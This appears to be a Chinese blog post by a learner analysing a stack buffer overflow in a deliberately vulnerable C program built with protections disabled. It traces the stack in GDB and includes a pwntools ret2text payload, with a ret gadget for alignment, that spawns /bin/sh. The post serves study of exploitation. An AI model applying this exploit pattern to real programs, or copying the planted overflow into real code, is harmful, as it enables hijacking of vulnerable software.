栈溢出分析
jerem1ah Lv4

栈溢出例子详细分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#include<stdio.h>
void exploit()
{
system("/bin/sh");
}
void func()
{
char str[0x20];
read(0, str, 0x50);
}
int main()
{
func();
return 0;
}
1
gcc -z execstack -no-pie -z norelro -fno-stack-protector test.c -o test

从main函数断点开始,状态如下:

image-20240726195352026

  1. 执行过push rbp之后,rsp先向低地址移动8字节指向了0x7fffffffe010处,然后在该地址处,赋值为rbp寄存器的值,高地址在高位,低地址在低位。

  2. 执行过mov rbp, rsp之后,此时rbp指向了rsp的位置,rbp为0x7fffffffe010

  3. 执行过mov eax, 0之后,rax的低32位,此时为0

  4. image-20240726200810722

  5. 执行call func之前,rdi rsi rdx rcx分别为上图所示;执行过该条语句之后,rsp先向低地址移动8字节指向了0x7fffffffe008,然后将该条语句之后的指令地址赋值给此处,即0x4011ae (main+18)表示指令mov eax, 0;此时rip指向了func函数

  6. image-20240726201633194

  7. 执行过push rbp之后,rsp向低地址移动8字节,值为0x7fffffffe000,此时在该地址处,赋值为rbp寄存器的值,高地址在高位,低地址在低位,入栈的值为0x7fffffffe010,此时mian函数的栈帧为image-20240726202054469也就是栈中存了两样东西,一个是0x4011ae (main+18)为指令地址,另一个是指向栈低rbp的值,为0x7fffffffe010

  8. 接着执行过mov rbp, rsp之后,正式标志着离开了main函数的栈帧,来到了func函数的栈帧image-20240726202757126

  9. 接着执行sub rsp, 0x20之后,为变量预留了32位字节的空间,rsp为0x7fffffffdfe0;在func的栈帧中出现了一些看不懂的东西,栈帧如下image-20240726203311676

  10. 执行lea rax, [rbp - 0x20]之后,rax的值变为了此时rsp指向的值,即为0x7ffff7fb62e8 (__exit_funcs_lock)image-20240726204915284

  11. 执行mov edx, 0x50之后,就如下image-20240726205146374

  12. 执行mov rsi, rax之后,此时就是在为read函数调用做准备,

  13. read 函数调用

    让我们把相关的寄存器和参数对照起来看一下:

    1
    ssize_t read(int fd, void *buf, size_t count);
    • int fd:文件描述符,由 edi 寄存器传递。
    • void *buf:缓冲区地址,由 rsi 寄存器传递。
    • size_t count:读取字节数,由 edx 寄存器传递。
  14. image-20240726210014141

  15. n指令,单步补过,输入字符,此时状态如下:image-20240726210352306

  16. nop是一个占位符,

  17. leave指令,清理栈帧,相当于mov rsp rbppop rbp

  18. ret指令,从当前函数返回到调用该函数的位置,作用是从栈中弹出返回地址,加载到指令指针rip中,跳转到rip指向的地址,继续执行调用函数后面的代码,相当于pop rip

  19. 这是leave之前的栈帧,image-20240728213121338

  20. 这是leave之后的栈帧,寄存器改变image-20240728213228502

  21. 此时为了发送payload进行调试,我们用pwntools运行程序,gdb调试这个进程

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    from pwn import *
    context.terminal = ['bash', '-e', 'sh', '-c']


    p = gdb.debug("/home/pwn/02eeepwn/test","break main")
    a = input("a:")
    # p = process(11370)
    offset = 0x20
    offset2 = 0x8
    payload = b'a' * offset + b'b'* offset2 + p64(0x401171)+p64(0x401156)
    # payload = b'a' * offset +p64(0x401156)
    print(payload)
    p.sendline(payload)
    # p.interactive()
    b = input("b:")
    1
    gdb -q /home/pwn/02eeepwn/test -x /tmp/pwn62tcsx33.gdb

    image-20240729094444990

  22. 可以看到此时的栈已经插入我们的恶意指令image-20240729094620982

  23. 这是执行过leave指令之后的image-20240729094909361

  24. 这里其实就有疑问了,为啥payload还要多加一个ret指令呢,直接就加一个恶意函数地址不就好了,两次ret有什么意义

  25. 那就先把ret地址去掉,再重新调试

    image-20240729095544892

  26. ret地址去掉就不行了,加上之后才可以getshell,如图是成功的两张图image-20240729101719907

  27. image-20240729101804140

疑问:为什么要加上ret的地址呢?

  1. 悟了,有些系统中需要栈对齐,也就是被执行的函数的地址,最后一位得是0,【在 x86-64 的调用约定中,栈指针(RSP)需要在函数调用之前对齐到 16 字节边界。这意味着调用函数之前的栈指针值应该是 16 的倍数。】836460910bb9ac276cb4fd389b7172b

疑问:恶意函数地址,为什么不能是除去前三行的指令呢。这个好像就是ret2text了

疑问:不填ret而填nop应该也可以吧

 Comments